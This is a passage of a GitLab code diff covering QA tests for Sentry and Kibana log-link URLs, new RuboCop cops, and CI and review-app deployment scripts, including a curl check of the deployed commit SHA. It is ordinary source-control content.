+ formatter.example_finished(rspec_example_notification)
+
+ expect(rspec_example).to have_received(:set_flaky)
+ expect(rspec_example).to have_received(:parameter).with('pass_rate', '50%')
+ end
+ end
+
+ context 'with skipped spec' do
+ let(:status) { :pending }
+
+ it 'skips adding flaky test data' do
+ formatter.start(nil)
+ formatter.example_finished(rspec_example_notification)
+
+ expect(rspec_example).not_to have_received(:set_flaky)
+ expect(rspec_example).not_to have_received(:parameter)
+ end
+ end
+ end
end
diff --git a/qa/spec/support/loglinking_spec.rb b/qa/spec/support/loglinking_spec.rb
index 3955d266ef6..79004630253 100644
--- a/qa/spec/support/loglinking_spec.rb
+++ b/qa/spec/support/loglinking_spec.rb
@@ -13,103 +13,76 @@ RSpec.describe QA::Support::Loglinking do
end
context 'when correlation_id exists' do
- context 'and logging environment exists' do
- it 'returns Sentry URL' do
- allow(QA::Support::Loglinking).to receive(:get_logging_environment).and_return(:foo)
- allow(QA::Support::Loglinking).to receive(:get_sentry_base_url).and_return('https://sentry.address/?environment=bar')
- allow(QA::Support::Loglinking).to receive(:get_kibana_base_url).and_return(nil)
- allow(QA::Support::Loglinking).to receive(:get_kibana_index).and_return(nil)
+ let(:correlation_id) { 'foo123' }
+ let(:sentry_url) { "https://sentry.address/?environment=bar&query=correlation_id%3A%22#{correlation_id}%22" }
+ let(:discover_url) { "https://kibana.address/app/discover#/?_a=%28index:%27pubsub-rails-inf-foo%27%2Cquery%3A%28language%3Akuery%2Cquery%3A%27json.correlation_id%20%3A%20#{correlation_id}%27%29%29&_g=%28time%3A%28from%3A%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29" }
+ let(:dashboard_url) { "https://kibana.address/app/dashboards#/view/abc-123-dashboard-id?_g=%28time%3A%28from:%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29&_a=%28filters%3A%21%28%28query%3A%28match_phrase%3A%28json.correlation_id%3A%27#{correlation_id}%27%29%29%29%29%29" }
+
+ before do
+ allow(QA::Support::SystemLogs::Sentry).to receive(:new).and_return(sentry)
+ allow(QA::Support::SystemLogs::Kibana).to receive(:new).and_return(kibana)
+ end
- expect(QA::Support::Loglinking.failure_metadata('foo123')).to eql(<<~ERROR.chomp)
- Correlation Id: foo123
- Sentry Url: https://sentry.address/?environment=bar&query=correlation_id%3A%22foo123%22
- ERROR
+ context 'and both Sentry and Kibana exist for the logging environment' do
+ let(:sentry) { instance_double(QA::Support::SystemLogs::Sentry, url: sentry_url) }
+ let(:kibana) do
+ instance_double(QA::Support::SystemLogs::Kibana,
+ discover_url: discover_url, dashboard_url: dashboard_url)
end
- it 'returns Kibana URL' do
- time = Time.new(2022, 11, 14, 0, 0, 0, '+00:00')
-
- allow(QA::Support::Loglinking).to receive(:get_logging_environment).and_return(:foo)
- allow(QA::Support::Loglinking).to receive(:get_sentry_base_url).and_return(nil)
- allow(QA::Support::Loglinking).to receive(:get_kibana_base_url).and_return('https://kibana.address/')
- allow(QA::Support::Loglinking).to receive(:get_kibana_index).and_return('pubsub-rails-inf-foo')
- allow(Time).to receive(:now).and_return(time)
-
- expect(QA::Support::Loglinking.failure_metadata('foo123')).to eql(<<~ERROR.chomp)
+ it 'returns both Sentry and Kibana URLs' do
+ expect(QA::Support::Loglinking.failure_metadata(correlation_id)).to eql(<<~ERROR.chomp)
Correlation Id: foo123
- Kibana Url: https://kibana.address/app/discover#/?_a=%28index:%27pubsub-rails-inf-foo%27%2Cquery%3A%28language%3Akuery%2Cquery%3A%27json.correlation_id%20%3A%20foo123%27%29%29&_g=%28time%3A%28from%3A%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29
+ Sentry Url: #{sentry_url}
+ Kibana - Discover Url: #{discover_url}
+ Kibana - Dashboard Url: #{dashboard_url}
ERROR
end
end
- context 'and logging environment does not exist' do
- it 'returns only the correlation ID' do
- allow(QA::Support::Loglinking).to receive(:get_logging_environment).and_return(nil)
-
- expect(QA::Support::Loglinking.failure_metadata('foo123')).to eql('Correlation Id: foo123')
+ context 'and only Sentry exists for the logging environment' do
+ let(:sentry) { instance_double(QA::Support::SystemLogs::Sentry, url: sentry_url) }
+ let(:kibana) do
+ instance_double(QA::Support::SystemLogs::Kibana,
+ discover_url: nil, dashboard_url: nil)
end
- end
- end
- end
- describe '.get_sentry_base_url' do
- let(:url_hash) do
- {
- :staging => 'https://sentry.gitlab.net/gitlab/staginggitlabcom/?environment=gstg',
- :staging_ref => 'https://sentry.gitlab.net/gitlab/staging-ref/?environment=all',
- :pre => 'https://sentry.gitlab.net/gitlab/pregitlabcom/?environment=all',
- :production => 'https://sentry.gitlab.net/gitlab/gitlabcom/?environment=gprd',
- :foo => nil,
- nil => nil
- }
- end
-
- it 'returns Sentry base URL based on environment' do
- url_hash.each do |environment, url|
- expect(QA::Support::Loglinking.get_sentry_base_url(environment)).to eq(url)
+ it 'returns only Sentry URL' do
+ expect(QA::Support::Loglinking.failure_metadata(correlation_id)).to eql(<<~ERROR.chomp)
+ Correlation Id: foo123
+ Sentry Url: #{sentry_url}
+ ERROR
+ end
end
- end
- end
- describe '.get_kibana_base_url' do
- let(:url_hash) do
- {
- :staging => 'https://nonprod-log.gitlab.net/',
- :staging_ref => nil,
- :production => 'https://log.gprd.gitlab.net/',
- :pre => 'https://nonprod-log.gitlab.net/',
- :foo => nil,
- nil => nil
- }
- end
+ context 'and only Kibana exists for the logging environment' do
+ let(:sentry) { instance_double(QA::Support::SystemLogs::Sentry, url: nil) }
+ let(:kibana) do
+ instance_double(QA::Support::SystemLogs::Kibana,
+ discover_url: discover_url, dashboard_url: dashboard_url)
+ end
- it 'returns Kibana URL based on environment' do
- url_hash.each do |environment, url|
- expect(QA::Support::Loglinking.get_kibana_base_url(environment)).to eq(url)
+ it 'returns only Kibana Discover and Dashboard URLs' do
+ expect(QA::Support::Loglinking.failure_metadata(correlation_id)).to eql(<<~ERROR.chomp)
+ Correlation Id: foo123
+ Kibana - Discover Url: #{discover_url}
+ Kibana - Dashboard Url: #{dashboard_url}
+ ERROR
+ end
end
- end
- end
- describe '.get_kibana_index' do
- let(:index_hash) do
- {
- :staging => 'ed942d00-5186-11ea-ad8a-f3610a492295',
- :staging_ref => nil,
- :production => '7092c4e2-4eb5-46f2-8305-a7da2edad090',
- :pre => 'pubsub-rails-inf-pre',
- :foo => nil,
- nil => nil
- }
- end
+ context 'and neither Sentry nor Kibana exists for the logging environment' do
+ let(:sentry) { instance_double(QA::Support::SystemLogs::Sentry, url: nil) }
+ let(:kibana) { instance_double(QA::Support::SystemLogs::Kibana, discover_url: nil, dashboard_url: nil) }
- it 'returns Kibana index based on environment' do
- index_hash.each do |environment, index|
- expect(QA::Support::Loglinking.get_kibana_index(environment)).to eq(index)
+ it 'returns only the correlation ID' do
+ expect(QA::Support::Loglinking.failure_metadata(correlation_id)).to eql("Correlation Id: #{correlation_id}")
+ end
end
end
end
- describe '.get_logging_environment' do
+ describe '.logging_environment' do
let(:staging_address) { 'https://staging.gitlab.com' }
let(:staging_ref_address) { 'https://staging-ref.gitlab.com' }
let(:production_address) { 'https://gitlab.com' }
@@ -143,7 +116,7 @@ RSpec.describe QA::Support::Loglinking do
logging_env_array.each do |logging_env_hash|
allow(QA::Runtime::Scenario).to receive(:attributes).and_return({ gitlab_address: logging_env_hash[:address] })
- expect(QA::Support::Loglinking.get_logging_environment).to eq(logging_env_hash[:expected_env])
+ expect(QA::Support::Loglinking.logging_environment).to eq(logging_env_hash[:expected_env])
end
end
end
diff --git a/qa/spec/support/system_logs/kibana_spec.rb b/qa/spec/support/system_logs/kibana_spec.rb
new file mode 100644
index 00000000000..7e13f5a0a06
--- /dev/null
+++ b/qa/spec/support/system_logs/kibana_spec.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+RSpec.describe QA::Support::SystemLogs::Kibana do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:correlation_id) { 'foo123' }
+
+ shared_examples 'returns the expected URL' do
+ where(:env, :expected_url) do
+ :staging | ref(:staging_url)
+ :production | ref(:production_url)
+ :pre | ref(:pre_url)
+ :foo | nil
+ nil | nil
+ end
+
+ with_them do
+ before do
+ allow(Time).to receive(:now).and_return(Time.new(2022, 11, 14, 0, 0, 0, '+00:00'))
+ end
+
+ specify do
+ expect(subject).to eq(expected_url)
+ end
+ end
+ end
+
+ describe '#discover_url' do
+ subject { described_class.new(env, correlation_id).discover_url }
+
+ let(:staging_url) do
+ "https://nonprod-log.gitlab.net/app/discover#/?_a=%28index:%27ed942d00-5186-11ea-ad8a-f3610a492295%27" \
+ "%2Cquery%3A%28language%3Akuery%2Cquery%3A%27json.correlation_id%20%3A%20#{correlation_id}%27%29" \
+ "%29&_g=%28time%3A%28from%3A%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29"
+ end
+
+ let(:production_url) do
+ "https://log.gprd.gitlab.net/app/discover#/?_a=%28index:%277092c4e2-4eb5-46f2-8305-a7da2edad090%27" \
+ "%2Cquery%3A%28language%3Akuery%2Cquery%3A%27json.correlation_id%20%3A%20#{correlation_id}%27%29" \
+ "%29&_g=%28time%3A%28from%3A%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29"
+ end
+
+ let(:pre_url) do
+ "https://nonprod-log.gitlab.net/app/discover#/?_a=%28index:%27pubsub-rails-inf-pre%27" \
+ "%2Cquery%3A%28language%3Akuery%2Cquery%3A%27json.correlation_id%20%3A%20#{correlation_id}%27%29" \
+ "%29&_g=%28time%3A%28from%3A%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29"
+ end
+
+ it_behaves_like 'returns the expected URL'
+ end
+
+ describe '#dashboard_url' do
+ subject { described_class.new(env, correlation_id).dashboard_url }
+
+ let(:staging_url) do
+ "https://nonprod-log.gitlab.net/app/dashboards#/view/b74dc030-6f56-11ed-9af2-6131f0ee4ce6?_g=%28time" \
+ "%3A%28from:%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29&_a=%28filters%3A%21" \
+ "%28%28query%3A%28match_phrase%3A%28json.correlation_id%3A%27#{correlation_id}%27%29%29%29%29%29"
+ end
+
+ let(:production_url) do
+ "https://log.gprd.gitlab.net/app/dashboards#/view/5e6d3440-7597-11ed-9f43-e3784d7fe3ca?_g=%28time" \
+ "%3A%28from:%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29&_a=%28filters%3A%21" \
+ "%28%28query%3A%28match_phrase%3A%28json.correlation_id%3A%27#{correlation_id}%27%29%29%29%29%29"
+ end
+
+ let(:pre_url) do
+ "https://nonprod-log.gitlab.net/app/dashboards#/view/15596340-7570-11ed-9af2-6131f0ee4ce6?_g=%28time" \
+ "%3A%28from:%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29&_a=%28filters%3A%21" \
+ "%28%28query%3A%28match_phrase%3A%28json.correlation_id%3A%27#{correlation_id}%27%29%29%29%29%29"
+ end
+
+ it_behaves_like 'returns the expected URL'
+ end
+end
diff --git a/qa/spec/support/system_logs/sentry_spec.rb b/qa/spec/support/system_logs/sentry_spec.rb
new file mode 100644
index 00000000000..6821c527b23
--- /dev/null
+++ b/qa/spec/support/system_logs/sentry_spec.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+RSpec.describe QA::Support::SystemLogs::Sentry do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:correlation_id) { 'foo123' }
+
+ describe '#url' do
+ subject { described_class.new(env, correlation_id).url }
+
+ let(:staging_url) do
+ "https://sentry.gitlab.net/gitlab/staginggitlabcom/?environment=gstg&query=correlation_id%3A%22#{correlation_id}%22"
+ end
+
+ let(:staging_ref_url) do
+ "https://sentry.gitlab.net/gitlab/staging-ref/?environment=all&query=correlation_id%3A%22#{correlation_id}%22"
+ end
+
+ let(:pre_url) do
+ "https://sentry.gitlab.net/gitlab/pregitlabcom/?environment=all&query=correlation_id%3A%22#{correlation_id}%22"
+ end
+
+ let(:production_url) do
+ "https://sentry.gitlab.net/gitlab/gitlabcom/?environment=gprd&query=correlation_id%3A%22#{correlation_id}%22"
+ end
+
+ where(:env, :expected_url) do
+ :staging | ref(:staging_url)
+ :staging_ref | ref(:staging_ref_url)
+ :production | ref(:production_url)
+ :pre | ref(:pre_url)
+ :foo | nil
+ nil | nil
+ end
+
+ with_them do
+ it 'returns the expected URL' do
+ expect(subject).to eq(expected_url)
+ end
+ end
+ end
+end
diff --git a/rubocop/check_graceful_task.rb b/rubocop/check_graceful_task.rb
index 724f7fa6963..7bf678def83 100644
--- a/rubocop/check_graceful_task.rb
+++ b/rubocop/check_graceful_task.rb
@@ -69,7 +69,7 @@ module RuboCop
message = format(
':warning: `%{job_name}` passed :green: but contained <%{job_url}|silenced offenses>. ' \
'See <%{docs_link}|docs>.',
- docs_link: 'https://docs.gitlab.com/ee/development/contributing/style_guides.html#silenced-offenses',
+ docs_link: 'https://docs.gitlab.com/ee/development/rubocop_development_guide.html#silenced-offenses',
job_name: job_name,
job_url: job_url)
diff --git a/rubocop/cop/background_migration/feature_category.rb b/rubocop/cop/background_migration/feature_category.rb
new file mode 100644
index 00000000000..ec70b5baadf
--- /dev/null
+++ b/rubocop/cop/background_migration/feature_category.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require_relative '../../migration_helpers'
+require_relative '../../code_reuse_helpers'
+
+module RuboCop
+ module Cop
+ module BackgroundMigration
+ # Cop that checks if a valid 'feature_category' is defined in the batched background migration job
+ class FeatureCategory < RuboCop::Cop::Base
+ include MigrationHelpers
+
+ FEATURE_CATEGORIES_FILE_PATH = "config/feature_categories.yml"
+
+ MSG = "'feature_category' should be defined to better assign the ownership for batched migration jobs. " \
+ "For more details refer: " \
+ "https://docs.gitlab.com/ee/development/feature_categorization/#batched-background-migrations"
+
+ INVALID_FEATURE_CATEGORY_MSG = "'feature_category' is invalid. " \
+ "List of valid ones can be found in #{FEATURE_CATEGORIES_FILE_PATH}"
+
+ RESTRICT_ON_SEND = [:feature_category].freeze
+
+ class << self
+ attr_accessor :available_feature_categories
+ end
+
+ def_node_search :feature_category?, <<~PATTERN
+ (:send nil? :feature_category ...)
+ PATTERN
+
+ def on_new_investigation
+ super
+
+ # Defined only once per rubocop whole run instead of each file.
+ fetch_available_feature_categories unless self.class.available_feature_categories.present?
+ end
+
+ def on_class(node)
+ return unless in_background_migration?(node) && node.parent_class&.short_name == :BatchedMigrationJob
+
+ add_offense(node) unless feature_category?(node)
+ end
+
+ def on_send(node)
+ return unless in_background_migration?(node)
+
+ add_offense(node, message: INVALID_FEATURE_CATEGORY_MSG) unless valid_feature_category?(node)
+ end
+
+ private
+
+ def valid_feature_category?(node)
+ feature_category = node.descendants.first.value
+ self.class.available_feature_categories.include?(feature_category.to_s)
+ end
+
+ def fetch_available_feature_categories
+ self.class.available_feature_categories = YAML.load_file(FEATURE_CATEGORIES_FILE_PATH).to_set
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/gitlab/strong_memoize_attr.rb b/rubocop/cop/gitlab/strong_memoize_attr.rb
index c98aa4765fa..0b3de9d7863 100644
--- a/rubocop/cop/gitlab/strong_memoize_attr.rb
+++ b/rubocop/cop/gitlab/strong_memoize_attr.rb
@@ -34,12 +34,12 @@ module RuboCop
class StrongMemoizeAttr < RuboCop::Cop::Base
extend RuboCop::Cop::AutoCorrector
- MSG = 'Use `strong_memoize_attr`, instead of using `strong_memoize` directly'
+ MSG = 'Use `strong_memoize_attr`, instead of using `strong_memoize` directly.'
def_node_matcher :strong_memoize?, <<~PATTERN
(block
$(send nil? :strong_memoize
- (sym $_)
+ (sym _)
)
(args)
$_
@@ -47,21 +47,26 @@ module RuboCop
PATTERN
def on_block(node)
- send_node, attr_name, body = strong_memoize?(node)
+ send_node, body = strong_memoize?(node)
return unless send_node
- corrector = autocorrect_pure_definitions(node.parent, attr_name, body) if node.parent.def_type?
+ # Don't flag methods with parameters.
+ return if send_node.each_ancestor(:def).first&.arguments&.any?
+
+ # Don't flag singleton methods.
+ return if send_node.each_ancestor(:defs).any?
+
+ corrector = autocorrect_pure_definitions(node.parent, body) if node.parent.def_type?
add_offense(send_node, &corrector)
end
private
- def autocorrect_pure_definitions(def_node, attr_name, body)
+ def autocorrect_pure_definitions(def_node, body)
proc do |corrector|
method_name = def_node.method_name
- attr_suffix = ", :#{attr_name}" if attr_name != method_name
- replacement = "\n#{indent(def_node)}strong_memoize_attr :#{method_name}#{attr_suffix}"
+ replacement = "\n#{indent(def_node)}strong_memoize_attr :#{method_name}"
corrector.insert_after(def_node, replacement)
corrector.replace(def_node.body, body.source)
diff --git a/rubocop/cop/lint/last_keyword_argument.rb b/rubocop/cop/lint/last_keyword_argument.rb
index 3f5ad7e20d7..f50c25f7924 100644
--- a/rubocop/cop/lint/last_keyword_argument.rb
+++ b/rubocop/cop/lint/last_keyword_argument.rb
@@ -18,6 +18,8 @@ module RuboCop
KEYWORD_DEPRECATION_STR = 'maybe ** should be added to the call'
def on_send(node)
+ return if target_ruby_version >= 3.0
+
arg = get_last_argument(node)
return unless arg
@@ -49,13 +51,13 @@ module RuboCop
end
def known_match?(file_path, line_number, method_name)
- file_path_from_root = file_path.sub(File.expand_path('../../..', __dir__), '')
- file_and_line = "#{file_path_from_root}:#{line_number}"
-
method_name = 'initialize' if method_name == 'new'
return unless self.class.keyword_warnings[method_name]
+ file_path_from_root = file_path.sub(File.expand_path('../../..', __dir__), '')
+ file_and_line = "#{file_path_from_root}:#{line_number}"
+
self.class.keyword_warnings[method_name].any? do |warning|
warning.include?(file_and_line)
end
diff --git a/rubocop/rubocop-migrations.yml b/rubocop/rubocop-migrations.yml
index ccde12bca77..36ef17ad6a3 100644
--- a/rubocop/rubocop-migrations.yml
+++ b/rubocop/rubocop-migrations.yml
@@ -12,10 +12,14 @@ Migration/UpdateLargeTable:
- :ci_builds_metadata
- :ci_build_trace_metadata
- :ci_job_artifacts
- - :ci_pipeline_messages
+ - :ci_job_artifact_states
+ - :ci_job_variables
+ - :ci_namespace_mirrors
- :ci_pipelines
- :ci_pipelines_config
+ - :ci_pipeline_messages
- :ci_pipeline_variables
+ - :ci_refs
- :ci_stages
- :deployments
- :description_versions
diff --git a/rubocop/rubocop-ruby30.yml b/rubocop/rubocop-ruby30.yml
index 6cd3f66ce55..b7634210e3d 100644
--- a/rubocop/rubocop-ruby30.yml
+++ b/rubocop/rubocop-ruby30.yml
@@ -14,3 +14,7 @@ Style/MutableConstant:
Enabled: false
Style/RedundantFreeze:
Enabled: false
+
+# No longer needed because Ruby 3.0 will fail due to kwargs issues.
+Lint/LastKeywordArgument:
+ Enabled: false
diff --git a/scripts/allowed_warnings.txt b/scripts/allowed_warnings.txt
new file mode 100644
index 00000000000..19bd5d51a20
--- /dev/null
+++ b/scripts/allowed_warnings.txt
@@ -0,0 +1,15 @@
+# List of ignored warnings used by `fail_on_warnings` in `scripts/utils.sh`.
+# Each line is a regexp and represents a match used by
+# `grep --invert-match --extended-regexp --file`.
+# Comments and empty lines are ignored.
+
+# https://github.com/browserslist/browserslist/blob/d0ec62eb48c41c218478cd3ac28684df051cc865/node.js#L329
+# warns if caniuse-lite package is older than 6 months. Ignore this
+# warning message so that GitLab backports don't fail.
+Browserslist: caniuse-lite is outdated\. Please run next command `yarn upgrade`
+
+# https://github.com/mime-types/mime-types-data/pull/50#issuecomment-1060908930
+Type application/netcdf is already registered as a variant of application/netcdf\.
+
+# This warning is emitted by scripts/static-analysis.
+\*\*\*\* .+ had the following warning\(s\):
diff --git a/scripts/build_qa_image b/scripts/build_qa_image
index 3728608e32c..c0001181a51 100755
--- a/scripts/build_qa_image
+++ b/scripts/build_qa_image
@@ -3,7 +3,7 @@
QA_IMAGE_NAME="gitlab-ee-qa"
QA_BUILD_TARGET="ee"
-if [[ "${CI_PROJECT_NAME}" == "gitlabhq" || "${CI_PROJECT_NAME}" == "gitlab-foss" ]]; then
+if [[ "${CI_PROJECT_NAME}" == "gitlabhq" || "${CI_PROJECT_NAME}" == "gitlab-foss" || "${FOSS_ONLY}" == "1" ]]; then
QA_IMAGE_NAME="gitlab-ce-qa"
QA_BUILD_TARGET="foss"
fi
@@ -28,7 +28,7 @@ if [ "${QA_IMAGE_NAME}" == "gitlab-ee-qa" ]; then
DESTINATIONS="${DESTINATIONS} --tag $QA_IMAGE_FOR_AUTO_DEPLOY"
fi
-echo "Building QA image for destinations: ${DESTINATIONS}"
+echo "Building QA image for '${QA_BUILD_TARGET}' for destinations: ${DESTINATIONS}"
docker buildx build \
--cache-to=type=inline \
diff --git a/scripts/decomposition/generate-loose-foreign-key b/scripts/decomposition/generate-loose-foreign-key
index 3f4c510020a..2e91aa662de 100755
--- a/scripts/decomposition/generate-loose-foreign-key
+++ b/scripts/decomposition/generate-loose-foreign-key
@@ -253,7 +253,7 @@ end
# Show only cross-schema foreign keys
if $options[:cross_schema]
all_foreign_keys.select! do |definition|
- Gitlab::Database::GitlabSchema.table_schema(definition.from_table) != Gitlab::Database::GitlabSchema.table_schema(definition.to_table)
+ Gitlab::Database::GitlabSchema.table_schema!(definition.from_table) != Gitlab::Database::GitlabSchema.table_schema!(definition.to_table)
end
end
diff --git a/scripts/frontend/extract_gettext_all.js b/scripts/frontend/extract_gettext_all.js
index 0a5e2b06971..922aa85241f 100644
--- a/scripts/frontend/extract_gettext_all.js
+++ b/scripts/frontend/extract_gettext_all.js
@@ -6,7 +6,7 @@ const {
decorateExtractorWithHelpers,
} = require('gettext-extractor-vue');
const vue2TemplateCompiler = require('vue-template-compiler');
-const ensureSingleLine = require('../../app/assets/javascripts/locale/ensure_single_line');
+const ensureSingleLine = require('../../app/assets/javascripts/locale/ensure_single_line.cjs');
const args = argumentsParser
.option('-f, --file <file>', 'Extract message from one single file')
diff --git a/scripts/gitlab_component_helpers.sh b/scripts/gitlab_component_helpers.sh
index 0d72f940036..c46dbb57a58 100644
--- a/scripts/gitlab_component_helpers.sh
+++ b/scripts/gitlab_component_helpers.sh
@@ -87,12 +87,10 @@ function upload_package() {
function read_curl_package() {
local package_url="${1}"
- local token_header="${CURL_TOKEN_HEADER}"
- local token="${CI_JOB_TOKEN}"
echoinfo "Downloading from ${package_url} ..."
- curl --fail --silent --retry 3 --header "${token_header}: ${token}" "${package_url}"
+ curl --fail --silent --retry 3 "${package_url}"
}
function extract_package() {
diff --git a/scripts/glfm/run-spec-tests.sh b/scripts/glfm/run-spec-tests.sh
new file mode 100755
index 00000000000..b60f6b05051
--- /dev/null
+++ b/scripts/glfm/run-spec-tests.sh
@@ -0,0 +1,23 @@
+#!/usr/bin/env bash
+
+# shellcheck disable=SC2059
+
+set -o errexit # AKA -e - exit immediately on errors (http://mywiki.wooledge.org/BashFAQ/105)
+
+# https://stackoverflow.com/a/28938235
+BCyan='\033[1;36m' # Bold Cyan
+BRed='\033[1;31m' # Bold Red
+Color_Off='\033[0m' # Text Reset
+
+function onexit_err() {
+ local exit_status=${1:-$?}
+ printf "\nâŒâŒâŒ ${BRed}GLFM spec tests failed!${Color_Off} âŒâŒâŒ\n"
+ exit "${exit_status}"
+}
+trap onexit_err ERR
+set -o errexit
+
+printf "${BCyan}"
+printf "\nThis script is not yet implemented!\n"
+printf "\nSee https://docs.gitlab.com/ee/development/gitlab_flavored_markdown/specification_guide/#run-spec-testssh-script for more details.\n\n"
+printf "${Color_Off}"
diff --git a/scripts/lib/glfm/verify_all_generated_files_are_up_to_date.rb b/scripts/lib/glfm/verify_all_generated_files_are_up_to_date.rb
index 3d4570f74e5..ef8872ecbb0 100644
--- a/scripts/lib/glfm/verify_all_generated_files_are_up_to_date.rb
+++ b/scripts/lib/glfm/verify_all_generated_files_are_up_to_date.rb
@@ -54,7 +54,7 @@ module Glfm
# Ensure that the diff output is flushed and output before we raise and exit.
$stderr.flush
- raise('ERROR: The generated files are not up to date.')
+ raise('ERROR: The generated files are not up to date. The specification or examples may need to be updated. See https://docs.gitlab.com/ee/development/gitlab_flavored_markdown/specification_guide/#workflows')
end
end
end
diff --git a/scripts/lint-doc-quality.sh b/scripts/lint-doc-quality.sh
deleted file mode 100755
index 9d8409a7c80..00000000000
--- a/scripts/lint-doc-quality.sh
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/usr/bin/env bash
-
-echo '=> Generating code quality artifact...'
-echo
-
-# Generate code quality artifact for Vale warnings only on changed files.
-# Only works on merged results pipelines, so first checks if a merged results CI variable is present.
-# If not present, runs on all files.
-
-if [ -z "${CI_MERGE_REQUEST_TARGET_BRANCH_SHA}" ]
-then
- MD_DOC_PATH=${MD_DOC_PATH:-doc}
- echo "Merge request pipeline (detached) detected. Testing all files."
-else
- MERGE_BASE=$(git merge-base "${CI_MERGE_REQUEST_TARGET_BRANCH_SHA}" "${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA}")
- MD_DOC_PATH=$(git diff --diff-filter=d --name-only "${MERGE_BASE}..${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA}" -- 'doc/*.md')
- if [ -n "${MD_DOC_PATH}" ]
- then
- echo -e "Merged results pipeline detected. Testing only the following files: ${MD_DOC_PATH}"
- fi
-fi
-
-echo "vale --output=doc/.vale/vale-json.tmpl --minAlertLevel warning ${MD_DOC_PATH} > gl-code-quality-report-docs.json"
-vale --output=doc/.vale/vale-json.tmpl --minAlertLevel warning ${MD_DOC_PATH} > gl-code-quality-report-docs.json
diff --git a/scripts/review_apps/automated_cleanup.rb b/scripts/review_apps/automated_cleanup.rb
index 2d87c18d7d2..f459cb9c0ea 100755
--- a/scripts/review_apps/automated_cleanup.rb
+++ b/scripts/review_apps/automated_cleanup.rb
@@ -213,7 +213,7 @@ module ReviewApps
gitlab.environments(project_path, per_page: DEPLOYMENTS_PER_PAGE, sort: 'desc', states: 'stopped', search: ENVIRONMENT_PREFIX[environment_type]).auto_paginate do |environment|
next if skip_environment?(environment: environment, checked_environments: checked_environments, last_updated_threshold: last_updated_threshold, environment_type: environment_type)
- yield environment if delete_environment(environment)
+ yield environment if delete_environment(environment) && block_given?
checked_environments << environment.slug
end
diff --git a/scripts/review_apps/base-config.yaml b/scripts/review_apps/base-config.yaml
index 0981aafec22..4d0f0ffec42 100644
--- a/scripts/review_apps/base-config.yaml
+++ b/scripts/review_apps/base-config.yaml
@@ -99,7 +99,7 @@ gitlab:
cpu: 746m
memory: 2809Mi
limits:
- cpu: 1300m
+ cpu: 1400m
memory: 4214Mi
minReplicas: 1
maxReplicas: 1
diff --git a/scripts/review_apps/review-apps.sh b/scripts/review_apps/review-apps.sh
index e185ed43e38..6a72b19c631 100755
--- a/scripts/review_apps/review-apps.sh
+++ b/scripts/review_apps/review-apps.sh
@@ -299,21 +299,21 @@ HELM_CMD=$(cat << EOF
--set global.appConfig.sentry.dsn="${REVIEW_APPS_SENTRY_DSN}" \
--set global.appConfig.sentry.environment="review" \
--set gitlab.migrations.image.repository="${gitlab_toolbox_image_repository}" \
- --set gitlab.migrations.image.tag="${CI_COMMIT_REF_SLUG}" \
+ --set gitlab.migrations.image.tag="${CI_COMMIT_SHA}" \
--set gitlab.gitaly.image.repository="${gitlab_gitaly_image_repository}" \
--set gitlab.gitaly.image.tag="${gitaly_image_tag}" \
--set gitlab.gitlab-shell.image.repository="${gitlab_shell_image_repository}" \
--set gitlab.gitlab-shell.image.tag="v${GITLAB_SHELL_VERSION}" \
--set gitlab.sidekiq.annotations.commit="${CI_COMMIT_SHORT_SHA}" \
--set gitlab.sidekiq.image.repository="${gitlab_sidekiq_image_repository}" \
- --set gitlab.sidekiq.image.tag="${CI_COMMIT_REF_SLUG}" \
+ --set gitlab.sidekiq.image.tag="${CI_COMMIT_SHA}" \
--set gitlab.webservice.annotations.commit="${CI_COMMIT_SHORT_SHA}" \
--set gitlab.webservice.image.repository="${gitlab_webservice_image_repository}" \
- --set gitlab.webservice.image.tag="${CI_COMMIT_REF_SLUG}" \
+ --set gitlab.webservice.image.tag="${CI_COMMIT_SHA}" \
--set gitlab.webservice.workhorse.image="${gitlab_workhorse_image_repository}" \
- --set gitlab.webservice.workhorse.tag="${CI_COMMIT_REF_SLUG}" \
+ --set gitlab.webservice.workhorse.tag="${CI_COMMIT_SHA}" \
--set gitlab.toolbox.image.repository="${gitlab_toolbox_image_repository}" \
- --set gitlab.toolbox.image.tag="${CI_COMMIT_REF_SLUG}"
+ --set gitlab.toolbox.image.tag="${CI_COMMIT_SHA}"
EOF
)
@@ -362,20 +362,46 @@ function verify_deploy() {
if [[ "${deployed}" == "true" ]]; then
echoinfo "[$(date '+%H:%M:%S')] Review app is deployed to ${CI_ENVIRONMENT_URL}"
- return 0
else
echoerr "[$(date '+%H:%M:%S')] Review app is not available at ${CI_ENVIRONMENT_URL}: see the logs from cURL above for more details"
return 1
fi
}
+# We need to be able to access the GitLab API to run this method.
+# Since we are creating a personal access token in `disable_sign_ups`,
+# This method should be executed after it.
+function verify_commit_sha() {
+ local verify_success="false"
+
+ for i in {1..60}; do # try for 2 minutes in case review-apps containers are restarting
+ echoinfo "[$(date '+%H:%M:%S')] Checking the correct commit is deployed in the review-app:"
+ echo "Expected commit sha: ${CI_COMMIT_SHA}"
+
+ review_app_revision=$(curl --header "PRIVATE-TOKEN: ${REVIEW_APPS_ROOT_TOKEN}" "${CI_ENVIRONMENT_URL}/api/v4/metadata" | jq -r .revision)
+ echo "review-app revision: ${review_app_revision}"
+
+ if [[ "${CI_COMMIT_SHA}" == "${review_app_revision}"* ]]; then
+ verify_success="true"
+ break
+ fi
+
